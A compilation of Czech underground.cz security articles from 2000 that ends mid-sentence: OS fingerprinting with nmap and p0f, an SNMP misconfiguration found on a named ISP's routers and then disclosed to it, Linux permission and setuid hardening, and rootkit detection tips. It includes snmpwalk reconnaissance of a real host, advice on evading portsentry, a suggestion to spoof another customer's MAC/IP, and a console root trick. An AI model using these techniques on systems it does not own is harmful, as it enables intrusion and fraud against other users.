první bežne používaný program využívající aktivní TCP fingerprinting se jmenoval Queso. poslal na server nekolik packetu s ruzne upravenými príznaky a odezvu porovnal s malou databází nekolika nejpoužívanejších systému. dlouho netrvalo a aktivní fingerprinting se objevil také v zatím nejlepším portskeneru všech dob, v nmapu. jeho autor fyodor použil externí databázi fingerprintu, takže pridávání charakteristik dalších systému bylo hrackou, dokonce je mohl kdokoliv pridat pres jednoduché WWW rozhraní. databáze se rozšírila a dnes je v ní pres 100 variant operacních systému pres ty nejpoužívanejší až po nejruznejší kuriozitky. dá se ríct, že nmap posunul hranice fingerprintingu velice daleko a dnes tento program oprávnene patrí do top tenu nejduležitejších programu každého hackera :)

fig.2: nmap fingerprinting

hacker# /usr/local/bin/nmap -sS -O server2.cz

Starting nmap V. 2.3BETA14 by fyodor@insecure.org (www.insecure.org/nmap/)

Interesting ports on server2.cz (0.0.0.0):

Port State Protocol Service

23 open tcp telnet

80 open tcp http

6000 open tcp X11

TCP Sequence Prediction: Class=random positive increments

Difficulty=3199372 (Good luck!)

Remote operating system guess: Linux 2.1.122 - 2.2.13

Nmap run completed

aktivní fingerprinting, tedy vyslání paketu na cíl a sledování odpovedi, má však své nevýhody. hlavní je ta, že si toho muže server (ci spíše jeho administrátor) všimnout a spustit poplach. velice nedávno se však objevil teoretický popis (vzápetí následovaný prvními skutecne funkcními programy) nové, velice zajímavé techniky zvané pasivní fingerprinting. ta stejne jako v predchozím prípade predpokládá, že každý systém má urcité specifické charakteristiky IP paketu. na rozdíl od aktivního fingerprintingu však nijak nekontaktuje vzdálený server, ale pasivne sleduje okolojdoucí sítový provoz. výhodou je to, že je už z principu absolutne nezjistitelný. daní za to je však nižší spolehlivost rozlišování - tato technika muže sledovat pouze omezenou škálu vlastností IP paketu. mezi nejlepší nástroje v soucasné dobe dostupné patrí zejména program p0f od security mága michala zalewského.

fig. 3: pasivní fingerprinting pomocí p0f

hacker# ./p0f -i eth0

p0f: passive os fingerprinting ver. 1.7 by <LCAMTUF@TPI.PL

p0f: file: '/etc/p0f.fp', 63 fprints, iface: 'eth0', rule: 'all'.

192.168.0.1 [1 hops]: Windows 9x (1) *

192.168.0.2 [1 hops]: Linux 2.2.14 or Cobalt Linux 2.2.12C3

192.168.0.3 [1 hops]: FreeBSD 4.0-STABLE, 3.2-RELEASE *

192.168.0.23 [1 hops]: Windows NT 4.0 *


implementace pasivního fingerprintingu je zatím v plenkách a programy mají své mouchy, ale je to rozhodne velice zajímavá technika. uvidíme, co se objeví príšte :)

odkazy:
QueSO <http://www.apostols.org/projectz/queso/> - jednoduchý nástroj na aktivní TCP fingerprinting
nmap <http://www.insecure.org/nmap> - komplexní portscanner s kvalitní implementací aktivního TCP fingerprintingu
p0f <http://packetstorm.securify.com/UNIX/scanners/p0f.tgz> - program na pasivní detekci OS
~Passive Fingerprinting <http://www.enteract.com/lspitz/finger.html> - informace o technice pasivní detekce OS
stealth linux patch <http://underground.cz/clanek.html?id=308> - patch na linuxový kernel, který zabranuje (aktivnímu) fingerprintingu.

ríji lorenz <mailto:jiri.lorenz@underground.cz>

 

 

 

Ziskat root s konzoly lze takto:

Lilo boot:linux S

public eridan

vladimir vlach 26. 6. 2000 (06:30)

 

jistě znáte sousloví "náhoda je blbec" - a v případě

metropolitní sítě eridan to platí více než 100%. Žádný

správce by se totiž neměl spoléhat na to, že nemůže někdo

náhodou objevit chybu konfiguraci jeho stroje a může být zle.

po dlouhé době jsem se rozhodl opět rozhodit svoje oblíbené

mrtg pro měření trafficu přes snmp z jednoho našeho routeru,

no a při konfiguraci se mě podařila taková zajímavá chyba (čti

"překlep"). až druhý den jsem si uvědomil, že náš router

nemůže mít v žádném případě tok dat okolo 1.5mbit/s. celý

problém spočíval v překlepu v ip adrese. místo ip našeho

routeru jsem pro mě záhadným omylem zadal adresu routeru,

který nese název více než jasný název ostrava.eridan.cz

(194.228.59.1).

co bylo na mém náhodném objevu zarážející bylo to, že router

ostrava.eridan.cz mi poskytoval zajímavé informace přes

snmp, i když jsem v mrtg použil svoji komunitu, což je něco

jako heslo. snmp je služba, pomocí které se dají v ip sítích

monitorovat a spravovat stroje, pokud to podporují. a to byl

případ i eridanu.

jdeme na to

neváhal jsem ani vteřinu a začal pozorovat svůj vysněný cíl

pomocí snmp utilit, které často bývají součástí linuxových

distibucí.

$ snmpwalk ostrava.eridan.cz public system

system.sysdescr.0 = linux keeper 2.2.13 #6 thu apr 20 13:25:13 cest

2000 i686

system.sysuptime.0 = timeticks: (112291634) 12 days, 23:55:16.34

system.syscontact.0 = root@localhost

velmi příjemné zjistění je, že mám tu čest s mým oblíbeným os

linux pro mě zatím neznámé distribuce, verze jádra 2.2.13 a

uptime asi 12 dnů - asi to často restartujou...

přes snmp lze zjistit mnohem více a možná ještě víc, než

předpokládají samotní správci sítě eridan. uvedu názorný

příklad:

$ snmpwalk ostrava.eridan.cz public

host.hrswrun.hrswruntable.hrswrunentry.hrswrunname

tak právě jsme zjistili, co na serveru běží. zjistíme, že

používají portsentry na ochranu před port skenováním jak na

tcp tak udp porty, mysql, apache, ssh, squida a dns server.

mašina má sice 256 mb ram, ale mimo jiné také routuje okolo

1.5mbit/s, vyřizuje stránky, sahá do databáze. a to není pro

zákazníky žádná dobrá zpráva. ani na snmp dotazy to

neodpovídá moc rychle a to už je po 7 hodině večer. nu což -

efektivita využití stroje musí být :-)

stejné je to i s routerem v brně. dle mých mrtg grafů routuje tak

polovinu toho, co router v ostravě. není se čemu divit. eridan

pochází z ostravy a byl tam mnohem dříve. brněnská

konfigurace je ostravské podobná jak v hardware konfiguraci,

tak v softwaru. server má o stupínek novější jádro 2.2.14 a

stejné množství paměti. na serveru běží ip accounting, který

loguje na jiný počítač přes nfs. běží tam taky portsentry - to

znamená v žádném případě neskenovat porty, pánové a dámy,

že!? zkuste použít nmap s příznakem aby posílal pouze syn

pakety. portsentry tak neodhalí vaši ip. na serveru také běží

apache s podporou ssl a na administraci zjevně kromě ssh

používají webmina. nezapře se ani běžící squid proxy cache s

vyhrazeným diskovým prostorem o velikosti cca 800mb.

a dívali jste se na stránky http://www.eridan.cz? hezké že? a

přečetli jste si něco? pokud ne, tak vám tady jsou krátké citáty:

"systém ochrany dat před napadením zvenčí, ochrana dat

uvnitř sítě a další opatření dále zvyšují bezpečnost sítě

eridan"

nebo

"další pozitivní vlastností technologie, tedy i sítě eridan, je

bezpečnost dat."

internet mikrovlnou zadarmo na stránkách se také dočtete, že

využívají pro připojování klientů technologie breezecom. tak

pojďme nyní teoretizovat. trochu znám mikrovlné produkty této

firmy, takže by šlo těchto informací zneužít i ve váš prospěch.

máte-li k dispozici navíc mikrovlnou anténu a statioadapter na

připojení, tak vzhůru do toho. podstrčíte své síťové kartě mac a

ip adresu jiného, právě nekomunikujícího klienta, a za

předpokladu, že eridan nevyužívají hopping spread spectrum,

což je šifrovaná technologie přenosu, se můžete připojit na

účet někoho jiného. nezapomeňte, že eridan účtuje svým

klientům za přenesená data :-)

žádný hack

nakonec z mého hacku sešlo. možná na mě zapůsobilo svědomí,

možná něco jiného. to vám nepovím. já sám nevím. zkoušel

jsem samozřejmě, jde-li pomocí snmp na routery eridanu

zapisovat a nešlo to. nakonec jsem napsal e-mail na eridan a o

celém problému je informoval. asi za 5 hodin byla služba snmp

na ostravském a brněnském routeru zabezpečena. do té doby se

mi podařilo pomocí mrtg vygenerovat grafy o zatížení

ostravského routeru.

 

(zatížení ethernet rozhraní routeru ostrava.eridan.cz)

snmp není tak ani díra do systému, ale poskytuje až příliš

informací, které lze snadno zneužít. tak nezapomeňte vy

všichni, kteří používáte snmp, mrknout se na svoje nastavení

(obvykle /etc/snmp/snmpd.conf) a jestli není možno využít

nějakou lehce uhodnutelnou komunitu. snmp je dobrá věc

zvlášť v rozsáhlých sítích, ale špatně nastavené se dá

jednoduše zneužít.

poznámka redakce: administrátoři sítě eridan byli

upozorněni v dostatečném předstihu před vyjitím tohoto

článku a v současné době je bezpečnostní chyba již opravena.

zabezpecujeme linux 1

cmartin maok <mailto:martin.macok@underground.cz> 7. 7. 2000 (06:00)


seriál zabezpecujeme linux se pokusí o úvod do problematiky bezpecnosti linuxového systému. mnoho kapitol bude platit stejne i pro jiné unixové systémy, casteji se však bude týkat predevším linuxu. obcas nekteré konkrétní príklady zamerím na distribuci red hat a to z nekolika duvodu: distribuce patrí k nejrozšírenejším mezi zacátecníky a stredne pokrocilými, príklady budou po minimálních zmenách aplikovatelné i na ostatní distribuce a nakonec takoví prumerní uživatelé slackware si jiste poradí i beze mne.

tento úvodní díl bude zameren predevším na souborová práva unixových systému, bez jejichž zevrubné znalosti nelze o nejakém zabezpecování vubec hovorit.

jak vubec fungují unixová/linuxová souborová práva?

systém práv na unixu je založen na vlastnících souboru a jejich práv, na skupinách uživatelu a jejich práv k souborum, které temto skupinám patrí a právech pro 'ostatní' uživatele. každý soubor v systému má svého vlastníka a svoji skupinu. každý soubor má udelen práva pro svého vlastníka, práva pro svoji skupinu a práva pro všechny ostatní. práva jsou možná udelit ke ctení (anglicky read - znak r), k zápisu (anglicky write - znak w) a ke spouštení (anglicky execute - znak x). u adresáre znamená právo ctení právo zjištení jmen souboru v daném adresári, právo zápisu znamená právo vytváret nebo mazat soubory v daném adresári a právo spuštení znamená právo 'vlezení' do adresáre.

podíváme se na konkrétní príklady:

$ ls -l /etc/passwd /etc/shadow

-rw-r--r-- 1 root root 1333 Jun 26 18:58 /etc/passwd

-r-------- 1 root root 1080 Jun 26 18:58 /etc/shadow

(práva) (vlastník) (skupina) (jméno)

u souboru passwd vidíme, že jeho vlastník je uživatel root, jeho skupina se jmenuje taktéž root (skupina root je neco jiného než uživatel root, skupina muže mít stejný název jako nejaký uživatel a nemusí mít spolu nic spolecného). z retezce -rw-r--r-- poznáme, že jeho vlastník (root) má práva ke ctení a zápisu - znaky na pozici 234 (rw-), dále skupina souboru (s názvem root) má právo pouze ke ctení - znaky na pozici 567 (r--) a ostatní uživatelé/skupiny mají taktéž právo pouze ke ctení - znaky na pozici 8-10 (r--). možná jste se zarazili, co tedy znamená ten znak na pozici 1 (pomlcka) - ta nám ríká, zda se jedná o obycejný soubor (-), nebo adresár (d), ci jiný speciální soubor (link, roura, socket, zarízení ...).

jiný príklad:

$ ls -ld /home/martin

drwx--x--x 92 martin users 6144 Jul 5 11:45 /home/martin

zde je videt, že vlastník souboru (znak d ríká, že tento soubor je adresárem) je uživatel martin a má práva ke ctení, zápisu a lezení do adresáre (no ješte aby ne, je to jeho domovský adresár), dále soubor patrí skupine users, která muže do daného adresáre vlézt, ale nemuže si precíst, co v nem všechno je a nemuže tam vytváret ci mazat soubory. ostatní uživatelé/skupiny mají stejná práva jako skupina users.

podstatné je ješte osvetlit, jakým zpusobem se rozhodne, zda má nekdo na nejakou akci (ctení, zápis, spuštení) právo - algoritmus je následující:

(0) jsi root? (máš uid=0?)

ano: OK

ne: pokracuj na (1)

(1) jsi vlastníkem souboru?

ne: pokracuj na (2)

ano: má vlastník právo na danou akci?

ano: OK

ne: prístup je zamítnut. konec

(2) patríš do skupiny, které soubor patrí?

ne: pokracuj na (3)

ano: má skupina právo na danou akci?

ano: OK

ne: prístup je zamítnut, konec

(3) mají ostatní právo na danou akci?

ano: OK

ne: prístup je zamítnut, konec.

príklad:

$ ls -l /tmp/test*

-------rwx 1 martin users 0 Jul 5 12:32 /tmp/test1

----rwx--- 1 martin users 0 Jul 5 12:32 /tmp/test2

-rwx------ 1 martin users 0 Jul 5 12:32 /tmp/test3

$ id

uid=500(martin) gid=100(users) groups=100(users),50(ftp),500(log),111(proc)

$ echo "mam pravo na zápis?" >/tmp/test1

bash: /tmp/test1: Permission denied

$ echo "mam pravo na zápis?" >/tmp/test2

bash: /tmp/test2: Permission denied

$ echo "mam pravo na zápis?" >/tmp/test3

$

v prípade souboru test1 je videt, že ackoliv všichni ostatní mají právo na zápis (a ctení i spouštení), sám vlastník ho nemá. v prípade souboru test2 je videt, že ackoliv uživatel patrí do skupiny, která právo na zápis má, on sám to právo nemá. až v prípade souboru test3 má sám vlastník právo na zápis.

pokud chcete smazat adresár, potrebujete k tomu práva na smazaní všech jeho podadresáru - práva pro zápis. pokud chcete v adresári smazat nejaký soubor, musíte mít právo na zápis v daném adresári.

ty premýšlivé napadne pár podstatných otázek:
otázka: "a kdo má právo na zmenu práv souboru?"
odpoved: "vlastník souboru a uživatel root."
otázka: "a kdo muže zmenit vlastníka souboru?"
odpoved: "uživatel root."
otázka: "kdo muže zmenit skupinu souboru?"
odpoved: "uživatel root nebo vlastník souboru, pokud patrí do výchozí i cílové skupiny".

a protože základem práce s linuxem je ctení dokumentace a samostudim, odkazuji všechny na manuálové stránky príkazu chmod, chown, chgrp a ls. v príštích dílech budu predpokládat, že už je znáte. vysvetlím v nich nejprve ješte další práva (bity, flagy) na souborech - setuid, setgid a sticky bit, potom se mužeme pustit do samotného zabezpecování ...

 

zabezpecujeme linux 2

cmartin maok <mailto:martin.macok@underground.cz> 14. 7. 2000 (06:00)


v minulém díle jsem vysvetlil základní unixová souborová práva, dnes tuto kapitolu dokoncím.

každý program, který na systému beží, je reprezentován procesy a vlákny. z hlediska práv nebudeme vlákna a procesy rozlišovat. každý proces beží pod nejakým uživatelem (reprezentováno císlem uid - user identification) a pod nejakou skupinou (reprezentováno dalším císlem gid - group identification) a má pravomoci tohoto uživatele a této skupiny. pokud uživatel spustí nejaký program, tento program získá jeho uid a gid, tedy má stejné pravomoci jako tento uživatel.

ted si predstavte, že uživatel si chce zmenit heslo. tedy je potreba mít pravomoci zapisovat do souboru /etc/shadow, kde jsou hesla v šifrované podobe napsána, tedy by bylo dobré, aby mel uživatel právo zápisu do tohoto souboru ... to je ale nesmysl! mohl by zmenit heslo i jiným uživatelum, konkrétne treba rootovi.

proto existují ješte další atributy procesu - efektivní uživatel (císlo euid) a efektivní skupina (císlo egid) procesu. pokud beží proces s uid uživatele a euid administrátora, program získá práva administrátora. pochopitelne je to nebezpecné a proto takové programy bývají maximálne zabezpecené a minimalistické, uživatel jejich prostrednictvím muže provést nejaký jednoduchý úkon, ale nemá možnost jejich plné kontroly.

jak muže takový program získat toto euid a egid? na to práve existují další speciální souborová práva - setuid a setgid. pokud má spustitelný program nastavené právo setuid, tento program po spuštení získává automaticky euid vlastníka souboru. pokud má spustitelný program nastavený setgid bit, získá program po spuštení egid vlastnické skupiny souboru.

príklad:

$ ls -l /usr/bin/passwd

-r-s--x--x 1 root root 12244 Feb 7 23:20 /usr/bin/passwd

všimnete si písmenka s v retezci -r-s--x--x na míste písmenka x u práv vlastníka souboru. znamená, že tento soubor po spuštení získá euid vlastníka souboru - roota. to bežnému uživateli umožní zmenit si heslo, aniž by mel práva zápisu do souboru /etc/shadow. program passwd heslo na správné místo zapíše a nedovolí uživateli jiné zmeny tohoto souboru.

obdobne by to bylo s písmenkem s na míste x u skupinových práv souboru. tato práva se nastavují taktéž príkazem chmod, presné použití si najdete na manuálové stránce (samostudium je bežné a nutné, zvykejte si), podrobneji na info stránce.

a aby to nebylo tak jednoduché, lze setuid a setgid bit nastavit i na adresáre. setuid bit na adresári nemá žádný význam (je ignorován), setgid bit na adresári zpusobí, že všechny nove vzniklé soubory v tomto adresári budou patrit stejné skupine jako tento adresár (pozor, neplatí to na všech unixech) - používá se to vetšinou na ftp archívech.

a nakonec ješte existuje sticky bit, který na spustitelných programech zpusobí, že spouštený program je natažen a ponechán v pameti i po ukoncení cinnosti programu. výsledný efekt je ten, že program po opetovném spuštení nabíhá rychleji. dríve se to používalo treba na textové editory ci jiné casto spouštené aplikace, ale dnes se v podstate vubec nepoužívá, protože sám operacní systém díky cacheování tuto cinnost nahrazuje.

ovšem nezastupitelný význam má sticky bit na adresárích. pokud je na adresári nastaven tento bit, uživatel smí v tomto adresári mazat pouze soubory, které vlastní, i kdyby na to jinak právo mel. typické použití je na adresárích /tmp a /var/tmp, casto je takto rešen i systémový adresár s emaily uživatelu (/var/mail ci /var/spool/mail). mnoho programu si docasné soubory odkládá do adresáre /tmp behem své cinnosti a bylo by krajne nevhodné a ve vetšine prípadu i nepríjemne zneužitelné, kdyby si je uživatelé navzájem mohli mazat nebo prepisovat. pro zajímavost: hp-ux 10.x a starší tyto bity na docasných adresárích defaultne nemají a mnoho administrátoru si toho léta nevšimne (ahoj pavle ;-]). nekteré systémy údajne tento sticky bit ani nepodporují, ale neznám je (jestli takové znáte, tak mi to napište.)

sticky bit na adresári poznáte podle podle písmena t na míste práva x pro ostatní. príklad:

$ ls -ld /tmp /var/tmp /var/spool/mail /var/spool/postfix/maildrop

drwxrwxrwt 13 root root 8192 Jul 12 18:59 /tmp

drwxrwxrwt 2 root mail 1024 Jul 12 18:01 /var/spool/mail

drwx-wx--T 2 postfix maildrop 1024 Jul 12 17:50

/var/spool/postfix/maildrop

drwxrwxrwt 2 root root 1024 Jul 11 12:31 /var/tmp

tímto jsme vycerpali základy systému práv na unixech, pro programátory doporucuji k nastudování manuálové stránky funkcí setuid(), seteuid(), setreuid() a ostatní manuálové stránky v jejich sekcích SEE ALSO ... rejpaly, detailisty a nadšence odkazuji na standardy POSIX a Unix98.

v príštím díle se porozhlédneme po souborovém systému a zkontrolujeme, které programy mají nastavené set[ug]id bity a zda jsou pro naše požadavky potrebné.

jak zjistit že máte hacknutý pocítac?

díl 1.

jirí lorenz 24. 7. 2000 (06:30)

 

opravdu zkušený hacker se umí na hacknutém pocítaci ukrýt

tak, že jej za bežných okolností nemáte šanci objevit.

takových specialistu však není mnoho, vetšina útocníku

používá stále stejné fígle. jejich znalost vám umožní zjistit,

zda je váš server hacklý. v dnešním clánku si nekolik takových

triku ukážeme.

predne musím upozornit, že následující rady se týkají linuxu,

ale nekteré z nich by mohly fungovat i na dalších unix-based

systémech. pokud máte své servery na MS windows,

pravdepodobne vám informace z tohoto clánku nebudou k

nicemu. dále také musím priznat inspiraci diskuzním klubem

hack na serveru pruvodce, kde se nekolik takových rad

objevilo.

tip císlo 1: skryté soubory v /dev

pomerne velká cást hackerských programu používá konfiguracní

soubory defaultne ukryté v adresári /dev. strujci takových

programu si zrejme mysleli, že jejich soubory zustanou mezi

tisícovkou device souboru nezpozorovány. tento predpoklad je

mylný, protože vetšina položek v tomto adresári má speciální

atributy, takže snadno mužeme pomocí nekolika príkazu vypsat

všechny soubory, které tam nemají co delat. príklad:

server# find /dev -type f

/dev/ptys

/dev/MAKEDEV

soubory MAKEDEV a jemu podobné jsou v porádku, ty se v

adresári /dev bežne vyskytují (vyzkoušejte). naopak soubor ptys

je podezrelý - název vypadá jako u bežného device souboru,

nemá však žádné speciální atributy. obdobne mužeme použít

find i na vyhledání adresáru:

server# find /dev -type d -print

/dev/pty

/dev/ptyo

/dev/rd

pty a rd jsou opet adresáre v /dev bežné, ptyo je však velice

podezrelý, radeji ho zkontrolujte.

tip 2: spustitelné soubory v adresárích s textovými soubory

linux má vetšinou nekolik neprehledných adresáru plných

dokumentace ci hlavickových a konfiguracních souboru. tyto

adresáre jsou opet casto využívány ke skrývání hackerských

nástroju, aniž by si vetšina útocníku uvedomovala, že opet lze

velice jednoduše tyto soubory vyhledat. nyní použijeme príkaz

file, který rozezná typ souboru a umí tak rozlišit napríklad

spustitelné soubory od textových:

server# file /usr/include/* /usr/doc/* | grep -E "(shell|exec)"

/usr/doc/h4k3r: ELF 32-bit LSB executable

/usr/include/.tajne/hax0r Bourne shell script

opet: binárky a skripty nemají evidentne v adresárích s

výhradne textovým obsahem co delat. (totéž doporucujeme

provést pro adresáre /usr/man/*, /usr/man/*/* a další).

tip císlo 3: suid soubory

castým backdoorem je nechat si nekde suid shell, jehož

spuštením získá kdokoliv rootovská práva. (historka z natácení:

vrcholem drzosti byl suid soubor /sbin/rootshell, s kterým jsem

se osobne setkal na nekolika hacknutých pocítacích). naštestí si

mužeme suid soubory opet snadno vypsat.

server# find / -perm +4000 -print

/bin/login

/bin/su

/bin/mount

/bin/umount

/bin/ping

/tmp/.r00t

/sbin/pwdb_chkpwd

/sbin/cardctl

/usr/X11R6/bin/Xwrapper

zatímco všechno ostatní jsou bežné binárky více ci méne

potrebné pro chod systému, /tmp/.r00t jí evidentne není a

ukazuje na prítomnost nezvaného hosta.

tip 4: upravené ps

bežnou soucástí vetšiny rootkitu (rootkit je zjednodušene receno

sbírka hackerských programu) bývá tzv. patchnutý neboli

pozmenený príkaz ps, skrývající preddefinované procesy

patrící hackerovi. patchnuté ps se muže dát poznat podle

otevírání konfiguracního souboru. zkusme si tedy príkaz

strace, vypisující systémová volání. pro nás je nejduležitejší

volání open(), sloužící k otevrení souboru:

server# strace /bin/ps 2>&1 | grep open | grep -v proc

open("/etc/ld.so.cache", O_RDONLY) = 3

open("/lib/libc.so.6", O_RDONLY) = 3

open("/boot/System.map-2.2.13-7mdk", O_RDONLY) = 6

open("/etc/nsswitch.conf", O_RDONLY) = 7

open("/etc/ld.so.cache", O_RDONLY) = 7

open("/lib/libnss_files.so.2", O_RDONLY) = 7

open("/dev/.tajne/patched_ps", O_RDONLY) = 7

open("/etc/passwd", O_RDONLY) = 7

open("/etc/group", O_RDONLY) = 7

opet je evidentní, že ps otevírá neco co nemá. obdobný postup

mužeme použít u programu ls, který je dalším nejcasteji

patchovaným programem.

to be continued ...

 

zabezpecujeme linux 3

martin macok 28. 7. 2000 (06:00)

 

v tomto díle seriálu si vysvetlíme, proc jsou set[ug]id bity nebezpecné a jaké jsou obecne

možnosti snížení rizika kompromitace systému lokálními uživateli pomocí setuid programu.

každý root-setuid program na systému, který muže kdokoliv spouštet (podrobná práva jsem

vysvetlil v minulých dílech, pokud jim nerozumíte, prectete si je), je potenciální bezpecnostní

díra vedoucí k získání pravomocí roota pro bežného uživatele a tím k totální kontrole nad

systémem. takový program muže mít chybu (nesprávná kontrola vstupních parametru, buffer

overflow, nesprávné použití docasných souboru apod.), které by mohl útocník zneužít k

získání rootových pravomocí, nejcasteji k prepsání libovolného souboru na systému ci

podstrcení shell kódu ke spuštení (pomocí overflow, formátovacích chyb aj.)

naše snaha tedy bude omezit do maximální možné míry pocet všech setuid programu, které

jsou na systému a u tech nutných ješte poprípade zmenšit množinu uživatelu, které tyto

programy mohou spouštet, eventuálne omezit možné vstupy techto programu.

co tedy s takovými programy mužeme udelat?

1.sundat setuid bit, takže program pobeží s právy aktuálního uživatele a tím prestane být

nebezpecný.

2.nechat setuid bit, definovat speciální skupinu pro tento program a povolit spouštení

pouze této skupine (napr. chgrp wheel /bin/su ; chmod 4750 /bin/su)

3.sundat suid bit, použít sudo a dovolit tak spouštení jen urcitým uživatelu a za urcitých

podmínek. sudo je dodáváno samozrejme s kompletní dokumentací a ukázkovými

konfiguracními soubory. toto rešení je podobné jako predchozí, ale je podstatne

flexibilnejší a umožnuje vetší omezení.

jednoduchá ukázková konfigurace /etc/sudoers:

Host_Alias LOCAL = localhost

Cmnd_Alias WOL = /usr/bin/wvdial worldonline

martin LOCAL=NOPASSWD:WOL

tímto jsme dovolili uživateli martin vytácet telefonní linku pomocí príkazu sudo

/usr/bin/wvdial worldonline, pokud je nalogován z localhostu a sudo ho nebude

obtežovat zadáváním vlastního hesla.

jiný príklad konfigurace /etc/sudoers:

Host_Alias OURNETWORK = alpha, beta, 128.138.0.0/255.255.0.0

pete OURNETWORK = /usr/bin/passwd [A-z]*, !/usr/bin/passwd root

touto konfigurací jsme dovolili uživateli pete, aby menil hesla ostatním uživatelum vyjímaje

roota, pokud je nalogován z pocítacu OURNETWORK.

nezapomente, že chybnou konfigurací /etc/sudoers mužete další bezpecnostní díry do systému

vyrobit! nepodcenujte proto dokumentaci a v prípade složitejších a obecnejších konfigurací je

nekolikrát prekontrolujte. prectete si podrobne dokumentaci k sudo.

na záver bych poznamenal, že nebezpecné jsou samozrejme predevším root suid programy,

nicméne i suid/sgid programy na jiné uživatele a skupiny mohou ve svém dusledku vést ke

kompromitaci systému, proto je nutné v maximální možné míre omezit všechny suid/sgid

programy. pokud uživatel napríklad na redhatu získá práva skupiny uucp, muže vytváret

hardlinky/symlinky v /var/run a využít tak naivity skriptu v /etc/rc.d/init.d/ pri startu systému

a de facto tak získat až pravomoce roota. podobných príkladu by se našlo jiste více ...

(namátkou skupina mail, lp, slocate, tty - všechny tyto za jistých okolností mohou vést ke

kompromitaci celého systému). nelze opomenout nedávnou (buffer overflow) chybu v

setgid(man) programu /usr/bin/man, kdy šlo získat pravomoce skupiny man, potom zmenit

nekteré manuálové stránky v /usr/man/ ci /var/catman/ tak, aby se pri jejich prohlížení

provedl nejaký príkaz (ano, bohužel i takové manuálové stránky lze vytvorit) a cekat, kdo

všechno se chytí do pasti.

dále je rozumné pravidelne testovat integritu techto príkazu (a vubec celého systému)

programy jako tripwire nebo aide (nebo rpm -Va), a kontrolovat, zda nekde nevznikly nové

setuid programy. nezpomente také mountovat svazky, na kterých se setuid programy nemají

vyskytovat, s parametrem nosuid, napr. temito rádky v /etc/fstab:

/dev/hda6 /tmp ext2 defaults,nosuid 0 2

/dev/hda5 /home ext2 defaults,nosuid,nodev,usrquota 0 2

v príštím díle se konecne dostanu ke konkrétním root setuid programum v distribuci red hat

6.2, vysvetlím jejich duvod a všechny nepotrebné suid bity sundáme nebo jinak vyrešíme.

martin macok

 

zabezpecujeme linux 4

martin macok 2. 8. 2000 (06:00)

 

v dnešním díle zkontrolujeme všechny programy, které mají

nastaveny set[ug]id bity a pokusíme se rozhodnout, zda tyto

programy opravdu tyto bity (pravomoce) potrebují. jako

príklad uvedu výchozí instalaci distribuce red hat 6.2,

ostatní distribuce jsou na tom víceméne podobne (tímto

prohlášením se omlouvám predevším debianistum, oni vedí

proc ...)

ve výchozí instalaci red hat 6.2 se nacházejí následující root

suidnuté programy, rozebereme si jejich funkce a rozhodneme,

co s nimi. pokud nevíte, jak je efektivne najít, tak si proctete

manuálovou stránku príkazu find, ale aby me nikdo nepomluvil,

že to sám neumím ;-], je to príkaz:

find / -perm -4000 -uid 0 -print

/bin/mount - tento program je suidnutý, aby umožnil bežným

uživatelum pripojovat predevším diskety, zipky a cd-romky. v

prípade, že vaši uživatelé se u konzole pohybovat nebudou,

anebo nebudou vubec diskety a cd-rom disky používat, setuid

bit sundejte (chmod u-s /bin/mount).

/bin/ping - tento príkaz slouží k testování sítové konektivity,

setuid bit má nastaven proto, aby mohl pres sítové rozhraní

posílat pakety icmp protokolu. bežní uživatelé se bez nej

obejdou, mužete setuid bit sundat.

/bin/su - príkaz slouží k tomu, aby se mohl bežný uživatel

zmenit (na základe znalosti hesla) v roota (ci jiného uživatele).

omezte tuto možnost na skupinu wheel (viz výše).

/bin/umount - umount je setuid root, aby umožnil uživatelum

odpojit diskety nebo cd-rom disky (viz /bin/mount).

/sbin/dump - dump je zálohovací utilita, která by urcite mela

být spustitelná pouze administrátorem a nikdy by nemela mít

setuid bit! nicméne z duvodu jakýchsi sítových zálohovacích

metod (man rcmd), které fungují pouze pod rootem, ji red hat

(narozdíl od vetšiny jiných distribucí jako je treba debian)

distribuuje root setuid. rozhodne sundejte setuid bit (chmod -s

/sbin/dump).

/sbin/restore - protejšek /sbin/dump (viz výše).

/sbin/pwdb_chkpwd - tato binárka slouží k otestování

uživatelova hesla, pokud je uloženo v souboru, který uživatel

nemuže císt. mela by sloužit k tomu, aby programy jako

napríklad xlock nemusely být z techto duvodu setuidované.

podle dokumentace pam je transparentne používána modulem

pam_pwdb.so, není urcena k prímému použití. ponechejte

setuid bit.

/sbin/unix_chkpwd - žádná manuálová stránka, žádná zmínka

v dokumentaci pak, no fuj, proste nevím, no - nejspíš slouží k

nejakým hodne podobným úcelum jako predchozí ...

/usr/X11R6/bin/Xwrapper - aby nemusel být celý Xserver

setuidovaný, tato malá setuid binárka ho spouští, jinak by

nemel pravomoci pristupovat prímo k hardware vaší grafické

karty a kreslit tak na obrazovku.

/usr/bin/at - slouží k plánování spouštení programu/skriptu

na konrétní cas a datum (jednorázove). tento program má

pomerne bohatou nevalnou minulost co se týce bezpecnostních

problému, proto jej moc nedoporucuji. (sundat suid, zrušit

službu atd: chkconfig atd off) funkci atd dostatecne

nahrazuje crond, nejoblíbenejší daemon redaktoru

undergroundu.

/usr/bin/chage - slouží k nastavování informací o stárnutí

hesel. setuid je proto, aby se uživatel mohl zeptat, kdy mu

heslo vyprší. pokud jste paranoidní, setuid bit sundejte. pokud

stárnutí hesel vubec nepoužíváte, tím spíše setuid bit sundejte.

/usr/bin/chfn - slouží k menení informací o uživateli, jako

je jeho jméno, práce, titul ... které zapisuje do souboru

/etc/passwd. sami si rozhodnete, zda chcete toto vašim

uživatelum umožnit, jiste se bez toho obejdou.

/usr/bin/chsh - podobne jako predchozí, toto slouží ke

zmene login shellu uživatele. záleží tedy na konkrétních

podmínkách, zda vám vyhovuje, aby za vámi uživatelé chodili,

že chtejí jiný shell, než jste jim nastavili, anebo chsh veríte a

necháte to na nich (když jsme u toho: otisko, nastav mi

prosímte korn shell ;-] ) ...

/usr/bin/crontab - crontab slouží k manipulaci

uživatelských tabulek nacasovaných akcí (obvykle

pravidelných príkazu). z bezpecnostních duvodu vetšina

administrátoru setuid bit sundavá.

/usr/bin/gpasswd - podobne jako passwd, tento príkaz

slouží k manipulaci skupinových hesel (/etc/group,

/etc/gshadow). dneska už se skupinová hesla v podstate

nepoužívají, sundejte setuid bit.

/usr/bin/newgrp - tento príkaz sloužil ke zmene aktuální

skupiny uživatele. vzhledem k tomu, jak na linuxu fungují

skupiny, není potreba se mezi nimi prepínat. skupinová hesla

(viz predchozí) se taktéž nepoužívají - sundejte setuid bit.

/usr/bin/{lpq, lpr, lprm} - utility potrebné k používání

tiskárny normálními uživateli. ke správné funkci jsou setuid a

setgid bity nutné. minimalizovat riziko eliminací setuid bitu se

